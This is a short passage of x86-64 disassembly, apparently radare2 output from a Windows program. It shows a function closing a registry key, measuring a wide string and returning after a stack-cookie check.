call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x140022040
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
movdqa xmm1, xmmword [0x1400ca5c0]
movdqu xmmword [rsp + 0x48], xmm1
mov word [rsp + 0x38], bp
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.14001e730
lea rcx, [rsp + 0x38]
call fcn.140005140
jmp 0x14002206c
lea rax, [rsp + 0x80]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140022050
lea rdx, [rsp + 0x80]
mov rcx, rdi
call fcn.14001ea10
nop
mov rcx, r14
call fcn.140005140
nop
mov rcx, rsi
call fcn.140005140
mov rax, rdi
mov rcx, qword [rsp + 0x880]
xor rcx, rsp
call fcn.1400a6140
add rsp, 0x890
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret